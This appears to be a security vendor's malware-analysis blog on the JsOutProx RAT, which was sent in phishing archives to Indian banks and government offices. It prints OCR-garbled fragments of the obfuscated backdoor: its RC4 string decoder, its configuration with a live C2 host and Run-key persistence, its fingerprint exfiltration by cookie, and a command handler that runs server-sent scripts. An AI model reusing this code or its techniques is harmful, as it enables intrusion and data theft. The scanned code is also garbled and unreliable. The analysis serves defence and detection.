Targeted Attacks on Indian Government and Financial Institutions Using the JsOutProx
RAT

zscaler.com/blogs/research/targeted-attacks-indian-government-and-financial-institutions-using-jsoutprox-rat

It is not uncommon for cybercriminals to target specific countries or regions. They often employ this strategy

In April 2020, ThreatLabZ observed several instances of targeted attacks on Indian government establishments and the banking sector.
Emails were sent to organisations, such as the Reserve Bank of India (RBI), IDBI Bank, the Department of Refinance (DOR) within the
National Bank for Agriculture and Rural Development (NABARD) in India with archive file attachments containing JavaScript and Java-based
backdoors.

Further analysis of the JavaScript-based backdoor led us to correlate it to the JsOutProx RAT, which was used for the first time by a threat
actor in December 2019 as mentioned by Yoroi.

The Java-based RAT provided functionalities similar to the JavaScript-based backdoor in this attack.

In this blog, we describe in detail the email attack vector of this targeted campaign, the technical analysis of the discovered backdoors, and
our conclusions on this attack.

Email analysis

Below is the email that was sent to the government officials in NABARD, which contained a malicious archive file attachment.
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@ Department of Refinance &
KCC Saturation
To: Department of Refinance,

Reply-To: dor@naard.org

Dear sir
Please find the attached on the captioned subject.
regards

Parit Gupta
AM

wAfdw favm / Department of Refinance
ATeTE / NABARD

W4H Aied / Head Office

femt wiferet w & S &7/ 3rd Floor A & B Wing
gl Felf Yol / Bandra Kurla Complex

GIE (ﬂ'cf) / Bandra (East)

Hag / Mumbai - 400 051

|

7P

KCC_Saturation_
letter_t...pdf.zip

Figure 1: Email sent with malicious attachment to NABARD.

The email attachment filename is: KCC_Saturation_letter_to_all_StCBs_RRBs_pdf.zip
This archive contains an HTA file inside it that performs the malicious activities.

The MD5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e

The theme of the email is related to KCC Saturation, which relates to the Kisan Credit Card scheme and is detailed on the official website of
NABARD.

Attackers leveraged this theme because it is relevant to the Department of Refinance, making this email look more legitimate.
We used the email headers to trace the origin to hosteam.pl, which is a hosting provider in Poland as shown below:

X-Auth-ID: [email protected]

Received: by smtp10.relay.iad3b.emailsrvr.com (Authenticated sender: syeds-AT-rockwellinternationalschool.com) with ESMTPSA id
0928BE00BD;

Mon, 20 Apr 2020 21:33:53 -0400 (EDT)

X-Sender-Id: [email protected]

Received: from WINDEBOUPGVCUK (unused-31-133-6-113.hosteam.pl [31.133.6.113])
(using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384)
by 0.0.0.0:465 (trex/5.7.12);
Mon, 20 Apr 2020 21:34:40 -0400

The same HTML Application (HTA) file was also sent in an archive attachment to IDBI bank as shown in Figure 2.
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=l Message | B e_call_creular_pat.zip

From: rinkal.bhavsar@idbi.co.in [rinkal.bhavsar@inddbi.co.in]

Sent: Tuesday, April 21, 2020 7:12 &AM
To: rinkal.bhavsar@idbi.co.in
Subject: E call maney

#*#This Email Is From External Scurce,

Daar,

Flaass find attached o

Kindly scan the fellowing attached d & fervard at sk MoS

Be Cautious While Opening ARy Attachments/Links, slsc pay sttention to the mails regarding CORCNA and

all Monay Borzowing from C

Rinkal § Mair | (el ATAT
ASSL Manager | Treasury Front Omce

W g | G o M

Contact GRATY: [22-6526367C

Figure 2: The email sent with a malicious attachment to IDBI bank.

Based on the email headers and the infrastructure used to send the previous emails, we were able to identify more instances of these attacks

and were able to attribute them to the same threat actor.

Figure 3 shows an email sent to RBI with an archive file that contains a Java-based backdoor.

. i i.org.in i nbbi.org.in=

DI form

To: has

@rbi.org.in <has

@rnbbiorg.inz,

Reply-To:

Madam/Sir,

Please find the attached.

[ | Regards,

i/ V Hasita
HETHF T | Assistant Manager

i ¥ 022-23026400- 8231 { Extn. No. 022-23026400-8231

Fré i st W E T/ Deposit |

A7 aferer 9 / Insurance Operation Department

Cautlon: The Reserve Bank of India never sends malls, SMSs or makes calls asking for persenal information such as your bank account details, passwords, etc. It never keeps or offers funds to anycne. Please
do not respond in any manner to such offers, however official or attractive they may look.

Motice: This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to wham they are addressed. If you are not the intended recipient, any
dissemination, use, review, distribution, printing or copying of the infarmation contained in this e-mail message and/or attachments to it are strictly prohibited. If you have received this email by error, please

notify us by return e-mail or and i
Reserve Bank of India accepts no liability for any damage caused by any virus transmitted by this email.

i,

DI_form_HY_file_
00002_pdf .zip

Figure 3: The email sent with a malicious attachment to RBI.

Figure 4 shows an email that was used to send an archive file with a Java-based backdoor to Agriculture Insurance Company of India (AIC).

delete the message and any attachments. The recipient should check this email and any attachments for the presence of viruses, The
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# osbhp.manojg@aicofindia.com <osbhp.manojg@acofindia.com= & 5 April 2020 at 0155 o
Tt g e e

To: osbhp.manojg@aicofindia.com <osbhp.manojg@acofindia.coms,

Reply-To: osbhp.mnojg@aicofindia.com

WA,

v gt §itet 3 e v areft el et e vt 2020-21 s i firaraert & s e 2w wh

i S S AT g,
T e, e

B 0755-4026101,102,103

»

rabi_2020_06-0
02301...pdf.zip

Figure 4: The email sent with a malicious attachment to AIC India.
The contents of the email are in the Hindi language.
In both of the cases above, the Java-based backdoor has the same hash and only the filenames used were different.

The hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

Technical analysis of JsOutProx

The MD5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e
Upon execution, the HTA file displays junk data in a window that flashes quickly on the screen before auto-closing.

This HTA file contains a JavaScript that is executed by mshta as can be seen in the file header in Figure 5.

<html>

[<HTA: APPLICATION icon="#"

[SHOWINTASKEAR="no" _b HTA File Header
<CLit IC;V. <= tit t:‘:

<mets http-equiv='x-ua-compatible’ content='ig—edge’ />

</ head:=
<body>

—— > ipt inside the HTA file

var a=[ wITCqifewdl-",  eOrbaeVEwpDCaNEE wEH GeREvEARwr JREGR A== , ' Totkv? Yawao Qo=

|t dMOdwEkbpu== , ' ZcRIMGE=' , ' TlvDtW10wpbCgcKEw7rCoNRCusk=",  wiLIvD]Ckv=

Figure 5: The HTA header in the file.

There is a long array of encoded strings present at the beginning of the JavaScript as shown in Figure 6.

var a = ['w7TCqiEtwil=', 'elrbgGVSwphCaME2wSHCq=REweARrJREERHAO==", ' IcOkv7Yguged¥g==", 'dMOdwShDpw==', 'EcHSMGE=', 'TlvDtViluphCgoREw?reoMECuék=", *wéLDvDjCku==",
" wgHbva K/ aBETCqe0lweNDwScOwsSiDrkarwdJiXh=="', 'wSTCimlUuw?Iluge=", 'HIDDCMK1l', 'QeEVDLUp', 'wSLDjMEcwggb', 'wdzCs80DJEO00wd DpS0+wdpiWl==', 'weLDgXjcnEr=",
woHDuNEjaRrCoadewdl="' , 'NCEMwrSE', 'weDDiw/DmBlgCMOR', 'PsErwpbCrDE=', °AcEHTWo=', 'a0Bhwqk8eTLDKEzDrAMpMcOQUUA=', 'w6iClidQwiNE', 'AEXCYMEqFcOwFAfCgh==',

OSKDF3LCLBOL' , 'UMONwATDoxICksOQwSc=', 'wonCtNKHWSES', 'wSDCmNO4wSka', 'wrrCmQuDrcOLDA==', 'wdXCpoKHWTU4PmE=', 'WHOGWSEDC TDCHMOKWSECmeOIZwdk=', 'QEFUwpPDig==',
"wE4jJBT7Ckw==", 'dwSuHwXDnw==', 'QMOFbFPCtTleQmwp', 'S80sw77C=TeD', 'YeOPeVICpBRieGenwgbChw==', 'v4/DgNKrwphlve/DvACueQ==', 'GHKOwozDusOD', 'AcKOWSECpiB=',
* HPTCVBOYwr/CoHo=', 'wIPCQVIDPa0]', 'wi3CrnTOwek=', 'ENO1iWMEhdQ==', 'w70mwofCgNO]l', 'wijCvHOevqgswgfDozo=', 'wpSiwiiCucO+' ., 'wS3DmsO+wshI', 'wilpwplCicOg',
' WMOfwe/Dahk=", ‘OsKQS3XClBOXKlosTg==', 'wSTDvzTDgTw=', ‘woHDpSOAwgyE', °w73CoS806wSkl', 'JME/wpTDVMOYXsKgwSElLQ==', 'CcOOJEOHwpk=', 'wrQfQhFE', 'wpxQTSOQLw==',

D0/ CVEKTBS0EGYE=' , 'ONEWINODWGA=', 'VSKEU1SHWS)DKEHDLHOpWOPCSSKSWSHCOXUDWSDCYCIDgF JCr8KswpnCpskawstacRLE 1c0rRIKS ZEKFVE p LEFKOoakNNIEHDG190rS 70K EL WS TDIHON' ,

"wrvCtRIIngon', "wiITwpd=', 'w4TCmsEQ', 'w4HCINEEblsydi==', 'dBALEw4=', ‘w&/CIkDDIMOCc®, 'SO0QZwqhl', 'DibD=Q0x’, 'e08Qwoflow==', ‘wghCkglmlw==', 'wphCkhs=', 'C8FmcFUD' ,
‘w4 IUSEELPOJCINEROjanbu==", 'Pa0wweZlwol=', 'HIOWEEZUwoVTweOLwgEgECKD' , *NMEJwsDChTU=', 'GEO+wSglwoo=', ‘w7vChMEpdif=", ‘asOfwp7DnUAYVETDiA==', 'wSObwrs3s
' wrPDQUOLWRSB' , " AcOiFBgChiNaMu==', 'wpIBbRps', 'wégyTsOVuwpw=', °'LEOVWEXDPhIT=', 'ZIsKhedMIweLDpyIDhi=
"wE/CkaO1HEO0Z" , " wpfCaBKEwEMm' , ' TsKuwrl-

B
' feRw0ZKEcd 1DmeKOworCraoy' , ' ImVnw7RF', ' YxpOPOLDAiELCmsE/' ,
¢ ' WrVOeMOlCu==', 'wiYewonDlg==', 'bHKHIHICi8KeMkSrEWdawraW', 'VHODeVhCoid4=', 'EkbDtTIaRNEC', 'FisVwgxL', 'J80£I=TH",

* IRxvHWTDIF£C) MOouwo/ ChywY' , ' ¥SOBw4HDpIw=', 'cHEgeSMLwsrDric=', °YsKFV3Qd', 'wSXCcFO=', 'QMKCTFOR', 'wp7ckSctig==', ' TghDgMOGCoMKT', 'LsKUTVzCksOXCIwlRis=',
wo IPVxxGRIICIa0Acg==", " wTPCscODOSOIvEbDuCATYAX/WO==", "GecRITEI=', 'eUNewalDicKTw6Y=', 'LTHCtOO0Dwgt=", 'wSaDpHRgwpldivp7DloOwewc=', 'JGRRGHORWTIDINOG' .

* wSHCr 10Iva01VHODwrhCulpd' , ' wpxQTBGOLIBCIOICATY=", 'HkXCucEK7P808GA==', ‘fclbwi/Doy¥=', 'wSzDiHPChO==', 'wgiCgaHéw?Ua’, 'e0HDvZxb', 'w7zCgdUywéplwrlbm2d=',

* FEOGWSzDERMDBErCm=0S' , " TVWDGGSF' , 'woSOwdDCgh==', 'wpOZEDzCvOAUTwTXDtw==', 'Okhilwcd=', 'w7DCokbDUBO]YoONwgu=", ‘wonCiAMoRQO=", ‘wSrlgoONwgéswpzlnySIIg==',

" JAdnwoSdwcEOwi DgHELdO==', ' Dg4RFsE/wSESTEREZwoLDiBEyVaKBwpd ITcHgwScBS2bPeC7CeMEx' . 'wScoRQ==", '0OcCbw7EBwgoaTxdgwojtosKiwSw=", 'wijiCimQRv?AUvoPnme PuAROKsECIS0Bwpd3 "' ,
' wgbChg¥oREDCaw=="', ' INKKHEOSwqPCnMEXwpLCtEOcDOdivevDrljChObbklsdYEENcKEcChC lo0GwEE5Yu==", 'ad0cwrHCrjOjUBKlvI=', 'LeOqlco?vp/CowSRupEfCaibCwvlON! , ' DNGhHg==",

wpnbocOZwrocQuilcgRgwERouw?Y=", 'EGFuw6lave ACWibCgeRSIgREES0Y" , 'aBOowrHCr)0SQakVurdr' , 'waXDrskl', ' YHE/enUyveeDpOTh)80AwgrCiskAwSe=", 'WFJewebDulKKeTo=',
"DMErw4iChyDCiad6! , 'wEkawgk=', 'HECHwS/DgBwAIohCicOcHNOSFe0SugtDunlpEN0+wglvwoBE' , ' SzzCqMOivg/CIHTCCAE+' , ' aNOMwd/Dpw==', ' 0801Pg=="
! wol¥uSne1c0] PHODugo TwrbCvwFtup 3 CoEDCyr Cus JDpQICrMES |, ' PVg2ugEpNg==", *JUTCqeKoNEomESDCgsKL! , 'wSLCmeKVeVEneQ==', 'wSLCiHIJv7SWwg7DvavDoBKP', 'KsOru?dawgMDT1IL!,

'w7EXwog=', 'wyHDScKoaAHCKBONWS10', 'wgNESSxxR', 'wilDieOK', 'ExklwgliUvess=', 'wivCg2XDoNOBY=Oxwes=', 'BNO1HBKSeS0D', 'w4PDEDICPEUTYeOTWSS=',

! woLIne0QuwowpUQipaRs lugh/ wSMVNGzInwE iEc Kt TREEPVduwEpb ORzD 1800 wpQTLEODyr BESwpvimcKHwgLCql 4w YRIDGVLDEw==" . 'KkbDt THGQHEP® , 'ILHCgMEOEA==', 'woEChic/WQ==',

! wor ipeK1d0nCvaodud geutogwd PDhapyws 1 25203 wpd3 wpiDinsal TO urdZui3DajSoleks! , 'wqTChRIDEoO/HEKS' , 'HeOSwélewoZ?', ‘FHOSWIXDSTO=', ‘LELDIQ7', 'GE/CicKgINOjEwN=',
"JFDDATIY' . 'wicNwpHCosOT' , 'FSolwohV', 'wSsFurM7UsETwg7CoEV=', 'wrvDi@KdVxU=', 'wolUWPShCoQ==', 'wr/CjzeDi=00DsKEiTwe=", 'wibDpNOow7Fw', 'PhECnoOTwol=",

' wE7CiGU¥eT L Tugzbi34=" , 'BeO1FNO?ura="', 'w7LhgQzCmki=', 'wpQROAPCug==', 'wr/Dv803wrvTSuEqeQ==', 'wEHCnZ/DvBOp', 'LxPCr806wgh=', 'GTzCacOEwoiCwng=', 'DaRSJ3jCmuw==',

Figure 6: A long array of encoded strings.
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This array of strings will be referenced throughout the JavaScript. They are base64 decoded and RC4 decrypted at runtime at the time of
execution.

JavaScript code in this HTA file is heavily obfuscated as shown in Figure 7.

' wilDuiTCklUY a0l 6HCLEXC « " YME 10 i Y el atd) 2 e, DxTEY ) svar

b=function{c,d) {c=c-0x0;var e=alc] ;18 (k[

%1+ ] :( function(c,d) (var e=function(f) {(while(--£)}{c[ push' J{c[ =
===undefined) {{ fupction( ) (var f:try|{var g=Function{' u

} s£=g{) ;}catch(h) {f=window; }var i=' AFCDEFGHIJTEL =t AV 20123456780+/=" 3
YIS =45/, Y i fox{var 1=0x0,m,n,o=0%0,p=" ' el L ]|u+—|-) »n&&(m—l&axq)mﬂnxqmn n, 1++l-ux4)?pp-5t:mg[ £
Yreturn p:}):M)) ivar g=fenctionir,d) {var t=[],u=0x0,v,v='',x='' :r=atcb(r):for{var y=0x0,z=r[ lenoth 1:9<e:pee) (d+=
00+’ ch 7' 3{0x10} ) ['=lice' ] {=0x2) ; }r=decodeURIComponent {x) ; for{var A=0x0;A<0x100:4++) (t[A)=L;) for(h=0x0;A<0x100 ; h++) (u={usc[A]4+d[' chario
TOARA[ 1et :selAl=t[u] :t[u]l=v:}A=0x0;u=0x0; fox( var B=0x0: 0x1) %0x100 2u=(uwtt [A])B0x100:v=t [A] :t [A]=t[u] :t[ul=v wi=String[

teit  J(B) [t [h]+r [u])®0x100]) ;}return wi):b[' zecbly! G Jm{) sh [ ANa0E0 =10 [] ;) var C=b[' L000Ic ] [c] ;if{ Cmmmundefined) (1£{b[

‘1=11 [ ie=b[’ zeelly' 1{e,d) ;B[" 10D0Je" ] [e]= swindowb( ' Ox0",° ( }1{0x0,0x0) ;windowfb( '0x1", Yl{screen[b(
', "BSHL'))#0xE) ;var bCe=() hC[ =new ActiveXObjectib('0xd','qg "3} :bC[b(Ox5',! ) ) =mewr Act,lvexChJect,(b( Ox6', ')y hC['Sh' )=
'¥)iRCIB('OxE', " e5q3 ) J=b{ ' Ox3 v')1=new Date() :bCLb{ Oxb ;' ! at "11{b{ Oxe’

structor {\x22returnt x20thisx22)

[ =atob 1=fanction(3) {var k=String(3)[
Oxf £&m>>{ ~Dx2 % 1606} ) :0x0) {n=i[' index0f 1(n

}1=bC[b{ 'O0x10' r.',hC[b( Oxl JLnh' )] {b{
LFINO' )] (b Ox1a’ ' - Crb( ' Oxid',
X wx01" ) J=0x2710;bC[b('0x21" ,'95D4 B In']="":bChi
O0XZ5','Elp! ') :bC[b( ) bC[b( ox28 )]-tmcum[}[var Bh={}; b LIBY '_l]-.tlmc on(bE,bF) {return bE|bF;:}:
BP[R{'OxZa’ ' Y1=fanction({bG bH) {return bGELH;} ;retam b Oxib' , wx01' ) [B('

)14 [x¥] /g function(bI) {(var bd=Nath[b( ' 0xzd',')DVh )](lliloloxD bE=b I===
‘' ?hd bbb ' ,'iLnh' )J(bD[b' Ox2£' , ' fms] }][hd,an],DxB[;zetum bE[b(*0x30°, )](Dxlu) J1idsbCe( Cesll, fms) ) ]=function() {var bl={};bL[b{ | phGE' ) )=
Function{bl b} { return bMV==bN;} :bLIB{ 0= o BSEL )I=h{ '0x34' . e ) sretaim BLIOD(0x35° " wx017 )] (Eypeef window, bLIL('0x36", ' 63Vu' )T} #3:LCO0( 0x37" , ' uFT1" )]=faaction
{} {var bO=() ;bOlb{ '0x321 , 27 o)} ]=function{bP ki) {returm bpl--bo,),mtum bO[b{ ' Ox “1#n'}]{ typeof WScript,b{ Oxia', u'pl'}) ) sbCb{ Oxik ' goto’ }]=fenction(} (var
BR={}:BRIb({ 'Dx3c', ' JR0S') J=funcbion(bs bT) {returm LI31==bT:}:RRIL( '0x3d' ,'63Va ) =h({ ' 0x3=", ' GuGI') jretusn bRIL('0x38' ' (710 )]1{ typeof Secrver bRO0( ' 0x40°," *14a')]1)2}:bC
[b{ Oxdl',' *1#n }]=fonction{bl,bV) (var bi={} ;bW [b{ 0xd2 , 47000 j]=b{ O a5, *ifin! } :bVm bppooE blmmmbW[b{ ' Cxdd! ! 1120227100V ; var b¥=new Date{} [b{ 0x45' ' *1fn
)l(]+h‘\! subilef IbCb( ' Ox46' ," 'd(b' )] b 0x47" ., "B ) {Eif(new Datel) [bl'“’""'. 2 IO ERE) {break:} 3} sbCIb( Oxs2' Elp ! ) I=function(bY) {var bi=pew Date() [b{
' TTSE )I ) ruwhiled{new Date() [b{ 'Oxdb', ' 31 h<bi+b¥) s} ;bC[b{ ' O }1=functionicO) (var cl={}:clb('Oxdd',' Q' )]=by{ ' Oxde', 'EDEF') ;if(bC[b{" Ox4f
Y1()) {WSeriptpa(’ 0x50" ,'E Y1(c0) :jelse(ig(b( 0x51, ') Luh' )]} {bCB( " ' PEGC ) 1(c0) spelsel rekurn) | [1:33} bCIB( 0x54 0 I
function ) [ Ery{if(bC[bi o'110)) {zeturn bCb( 0x56' , : x58' , ' uPT1 )1(), ) JAE(BC [b{ S UTEE Y1) P {YEE(BC [b(
CRD10 Y1) {return WScript[b( b, 11 :})cazcn(c:su}]:hqn( function() {var cd={}: 0 1=b{ ' Tyl ) rERp{AR(DC by
310 (EF(cd[b( ' 0x60" , GmGZ' )] t==cd[b{ ' +'§RCE 1)1} {£2y(bC' Fa' ] [b(' 0x62" , ' GmG2 )](bc[b( )1 {path) ,bCh{ ' 0x6 W 3] [be ' 066
}li{destinacion}) ; returnl | []:}cateh{cs) {return! []: ]}elm[mtum unescape(w:lndow[h( VlgPs2i )y, )bl LIPS =10 b [ PAYF- P

2" ) ) }AE(bCIb( ' Ox6k!' HETa' DI ) I pEE(bCOb( ' Oxdéc' , ' BSAL')1() Y {return WScript[b( TT5s" y]=Ffunction( ) {var cOB={}:cB[b( Dxcf'

*18n

Figure 7: The heavily obfuscated JavaScript code.

The string decoding and decryption routines are shown in Figure 8.

for (var 1 = Ox0, m, n, o = Ox0, p= '"; n= k['charit'J{o++); ~n && {(m = 1 & Oxd ? m + Ox40 + n : n, l++ & Ox4) ? p += String['fromCharCode’' J{Oxff & m
I >> (02 % 1 & Ox6)) @ O0x0) §
n = i['indexOf'){n);
]
return p;
1h:
Hy:
var q = function{r, dj (
var t = [1.

u = 0x0,
v, W=,
X= g

r = atob(r):
for (var ¥y = 0x0, £ = [’
X 4= '3 4 ('O00 + E[

') ¥ € 2; P {
'Yy ['coString' J(0x10) ) [*=lice' J{-0x2)

r = decodeURIComponent{x} :
for (var A = Ox0: A < 0x100; A++) {
t[4] = &;

for (L= 0x0; A < Ox100; A++) {
u= {u+ t[A] + d['charCodeit'J{A & d['length'])) & Ox100;
v o= t[A]:
t[4] = t[ul:
tful = v:

1

A= 0x0;

u o= Ox0;

for (var B =
L= (h+ Ox1) % Ox100
u={u+ t[i]} & 0x100:

v = t[h];

t[A] = t[ul:

tu] = v;:

v #+= String['fron oce'J{r['charCodeit'J{B) * t[(c[i) + t[u]) ® Ox100]):
]
returm w;:

= OF
= {}:
-1

Figure 8: The string decoding and decryption routines.
After analyzing the string decryption routine, we can see that RC4 algorithm was used.
The process of string decryption can be summarized in the following steps:

1. The string decryption routines are invoked with calls such as: b(‘0x4’, ‘qP52’). The first parameter is the index of the encoded string in
the long array declared at the beginning of the JavaScript. The second parameter is the RC4 decryption key.

2. The string is base64 decoded using atob() JavaScript function.

3. An S-box is generated using a for loop to generate the sequence: 0x0 to 0x100.

4. S-box is permutated using the decryption key.

5. The permutated S-box is used to perform XOR decryption of the encrypted string.
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After decrypting all the strings in this JavaScript, we can see the main configuration as shown in Figure 9.

window["resizeTo"](0x0, 0x0) ;
vindow["moveTo™] {screen["availWidth"™] * 0Ox2, screen["availHeight™] & Ox2):
var bC = {}:

bC['Fs'] = new ActiveXObject("Scripting.FileSvstemChiect™)

bC["Wsh"] = mew ActiveXObject{"Wicript.Shell®™);

bC['5h'] = new ActiveXCbject("Shell.Applicat

bC["BaselUrl”] = "http://backiaadra.ddns.net:

bC["StartDate”] = new Date():;

bC["allS5tartupDir®] = bhC["Wsh"] ["SpecialFolders®"]{"allusersstartup”}) + '\x5c';
bC["Startuplir™] = bC["Wsh"] ["specialFolders"]("startup™)) + 'Yx5c';
bC["appDlata®™] = bC["Wah"] [ (pandEnvironment3trings*] {"iappdatas ™)) + '\xbc';

bC["Temp" = hC["Wsh"] ["ExpandEnviromment3trings"]{"stenps™)) + '\ x5c';
bC["InstallDir®] = bC["ippData”]:

bC["InstallPath”] = '';
bC["Delimiter™] = " | _"};
bC["SleepTime"] = Ox2710:;
bC["Delay""] = Ox2710;
bC["Tag"] = "Vaster";
be['ID'] = '';
bC["IDPrefix"™] = " giks=":

bC["RunSubkey”] = "HKCU\software\microsoft)windows\currentversionhruni";

Figure 9: The main configuration file of the JsOutProx backdoor.
Some of the critical parameters in the above config file are:

. BaseURL: This is the C2 communication URL. In this case, it makes use of Dynamic DNS (*.ddns.net) and a non-standard port.

. Delimiter: This is the delimiter that will be used while exfiltrating information about the system.

. SleepTime: The duration for which the execution needs to be delayed.

. Delay: Similar to the SleepTime parameter.

. Tag: This is a unique indicator that is appended to the data during exfiltration. In this case the tag is: Vaster. The first time this
JavaScript based backdoor was discovered in December 2019, the value of this tag was: JsOutProx.

6. IDPrefix: This parameter corresponds to the Cookie name that will be set in the HTTP POST request sent by the backdoor to the C2

server at the time of initialization.
7. RunSubKey: This is the Windows Registry Key that will be used for persistence on the machine.

a b ON =

The script checks whether it is being executed by mshta, wscript or by an ASP Server as shown in Figure 10.
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/{ check if the script is being executed as an HTA file
/f 1f typenf window '= "undefined” then it is an HTA

var bL = {}:
| BLI"IRFZdAd"] = Ffuanction(blM, bN) {
return bM == blN;

bLI["PRrod"] = "undefined";
return bL["IRFPZd"]{tvpeof window, bL["FRrod"]):

bl df Soript is being executed by WScript
= function() {

j
| bO["FHERI™] = Fuanction{(bP, bQ) {
return bP == bQ;
}:
retuzn LHO["PHELI"]( typeof UScript, "undefined™)):

var bR = {}:
| bR["cXZZimp"] = Ffanction(hS, bT) {
return b3 == bT;

¥:

bR["ANwIk"] = "undefined"):;

return bR["cHinp"]({ typeof Server, bR["iNwIk"]}):
3}:

Figure 10: Checks for source of execution.

This also indicates that the script has the capability to execute in different environments, including web servers. The first instance of
JsOutProx discovered in December 2019 was a JavaScript file. The instance we discovered in April 2020 was an HTA file with the JavaScript
code obfuscated and embedded inside. So we are observing this threat actor deploy the backdoor using different methods in the wild.

The script also has the ability to delay execution as shown in Figure 11.
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// Delay execution by 10 seconds if the file is not present
lbC["waitFor"] = function{blU, bV) {

var bl = {}:

bU["V1UkL"] = "undefined";

bV = typeof bV === LW["VIUKL"] ? 0Ox2710 : bV:

var bX = new Datel) ["getTinme"]() + bV:
| while (MbC["File"]["fileExistza"]1{bU))} {
| if (new Date() ["getcTim="]1{) > bX) {

break:

// Sleep for bY seconds

lbC["sleep"] = function(b¥) {
var bi = pew Dated) ["getTime"]{);
while (rew Date()["uetTine"]1() < bZ + b¥):

// Delay execution by cO seconds

[bC["=leepEx"] = Ffunction{cO) {
var cl = {}:
cl1["XmkCR"] = "SJjck™;
iF (bCL["isWScript™]1{}) {
WScript[M=sleep”]{cO) ;
1} else {
Aif ("auZuy") I== cl["EmkCR"]) {
bC["sleep”]{c0);
} else {
return V1[]:

Figure 11: Delaying execution.

The init() routine is the initialization routine, which gathers different types of information from the system and sends it in an HTTP POST
request to the C2 server as shown in Figure 12.
JbCL™inie™] Tfuncrion(cT) {

var cl :
cU["BopHe "] = function{cV, ci) {

rebarn oV + cW;

y:
eU["UbooE"] = function{cX, c¥) {

retuarn cX + cY:
y:
eU["Vize="] = funckion{cZ, d0) {

retwm ci + d0;
+i

EbpHe"] (eU["TbooE"] (eVU["ThooE ] {¢UL"VEzes"] (eU["VEzes"T{BC[' 0= ] [ 1"1{) + BC["Delimiter”] + BCL"getUuid"]1(), BC["Delimiter™])

RC['ID'] = eU["BbpHE"

‘Environme
n"]1{}, bc
: -

romment "] [Fuserlame"] {}} + bC[" ter"] + bC['CGs'] ["caption"){}, bC["Delimitec"]) + BC['O='][

1§}, bC["belimiter®]}, bC["Eny
er]}, BC["T=u"])
"Vizes"](bC["T 2LlDic™ . bC["s priieme"3()) 2

Figure 12: The main initialization routine.
The individual fields collected during init() routine are:

Volume serial number: Fetches the volume serial number using WMI query: “select * from win32_logicaldisk” by inspecting the
volumeSerialNumber field.

UUID: This is randomly generated using the getUUID function in the script. The format of the UUID used is: XXXXXXXX-XXXX-4XXX-YXXX-
XXXXXXXXXXXX

ComputerName: Host name of the machine.

8/17



UserName: User name of the machine on which this script is executing.

OS caption: This value is fetched using the WMI query: “select * from win32_operatingsystem” by inspecting the Caption field.
OS version: This information is also gathered using WMI query similar to OS caption.

Tag: This is the tag defined in the configuration of the backdoor. In our case, the tag is Vaster.

The last keyword is “ping,” which is added by the receive() method.

All these values are separated by the delimiter “_| " and concatenated, then hex encoded and set in the Cookie header called “_giks” of the
HTTP POST request sent to the C2 server as shown in Figure 13.

Initializing the listener for JSOutProx
Author: Sudeep Singh
tarting up on 127.8.8.1 port 8999
saiting for a connection
onnection from ('127.8.8.1°, 1736
received "POST ~ HITP-1.1
ontent—Type: application/x—www—Form—urlencoded
ookie: _giks e o = . S

%y

ser—Agent: Mozillas5.8 (Mindows NT 18.8; UWint4; x64> ApplelebKit/537.36 (KHTML,
like Gecko?» Chrome-88.8.3987.87 Safaris537.36

Hocept : »/%

Accept—Encoding: gzip, deflate

ontent—Length: @

ost: backjaadra.ddns.net:8999

onnection: Keep—-fAlive

Figure 13: First HTTP POST request sent to the C2 server.

The command and control communication between the backdoor and the C2 server is synchronized using the Cookie in the HTTP request
and responses.

The last field in the cookie indicates the type of client command.
For example, if the cookie is:

Cookie:
_giks=46464646464646465f7c5f65363261396233322d323434352d346166612d393233622d38366535303065303636656557c5f486f73746e61¢€

Then the client command can be identified as:

1. Hex decode the cookie to get: FFFFFFFF_|_e62a9b32-2445-4afa-923b-
86e500e066ee_|_Hostname_|_Administrator_|_OS_Name_|_Version_|_Vaster_|_ping

2. Split the decoded content using the delimiter: “_|_” to get: [FFFFFFFF', 'e62a9b32-2445-4afa-923b-86e500e066ee’, 'Hostname',
'Administrator’, 'OS_Name', 'Version', 'Vaster', 'ping']

3. Extract the last field from the above list. In this case the command is: ping.

Figure 14 shows the main subroutine in the code that handles all the commands.
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try |

var cP = bC["Http"] ["send"] (cO["bchGg"], '*, I[]):
switch (cP[0x0]) {

case "upd":
var cQ = bC['F="'] ["OpenTextFile"] (bC["scriptFullName"] (),

cQI["write"] (cE[0x1]);

eQ["close"] () :

bC["launch”"] (bC["scriptFullName™] {})
bC["exit™] () ;

break;

case "rst":

BC[*exitc™] ()
break;

case "132":

bC["1launch”] (bC["scriptFullName"] (}, !![1):
break:

case "den":

bC["exitc™] () ;
break;

case "rbt™:

bC["Wsh"] ["run”] {cO["XYEnu”], 0x0, !!1[]);
break:

case "shd":

bC["Wsh"] ["run"] {"shutdewn /= /t 0 /f"), Ox0,
break:

case "1gt™:

bC["Wsh"] ["run"] {cO["JogHZ"™], Ox0, 1![1):
break:

case "ejs":

eval (cP[0x1]):
break;

case "evb":

var cR = new ActiveXObject ("ScriptControl™)):
cR["RllowUI"] = 11[];

cRI["Language™] = "VBScript"):

cR["Timeout™] = -0x1;

cR["AddCode™] (cP[0x1]) ;

1nin:

Figure 14: The C2 command handler subroutine in JsOutProx.

The description of the commands are included in the table below.

Command Description

upd Download and execute the script.

rst Re-launch the script.

132 Similar to rst command.

den Exit the execution.

rbt Reboot the system.

shd Shutdown the system.

Igf Shutdown the system.

ejs Use eval() to execute the JavaScript sent by server.

evb Use ActiveXObject to execute the VBScript sent by server.
uis Uninstall the backdoor.
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ins Install the backdoor.

fi Invokes the File Plugin.

do Invokes the Download Plugin.
sp Invokes the ScreenPShellPlugin.
cn Invokes the ShellPlugin.

Technical analysis of the Java-based backdoor

The MD5 hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

The JAR file is heavily obfuscated in this case. The structure of the JAR file is shown in Figure 15.

(s rabi_2020_06-00230109_pdf jar 1

B METAIN

M
- H com.ocvbftyd.nvhgjuk Idkficy.rereid
b TORSystemExceptions1.class
s TORSystenException, dass
s MamingSystemException$1.class
orp MamingSystemException. dass
bih OMGSystemException§1.dass
bis ORBConstants.dass
L1 DRBUtISystemExceptions1.dass
s ORBUity$1.cass
i ObjectStreamClassUti_1_351.dass
iy ObjectStreamClassUti_1_352 class
oy ObjectStreamClassUiti_1_343.dass
op ObjectsreamClassunl_1_3sCompareClassByname, dass

Pl

BE RS

by O ClassUtl_1_38C class
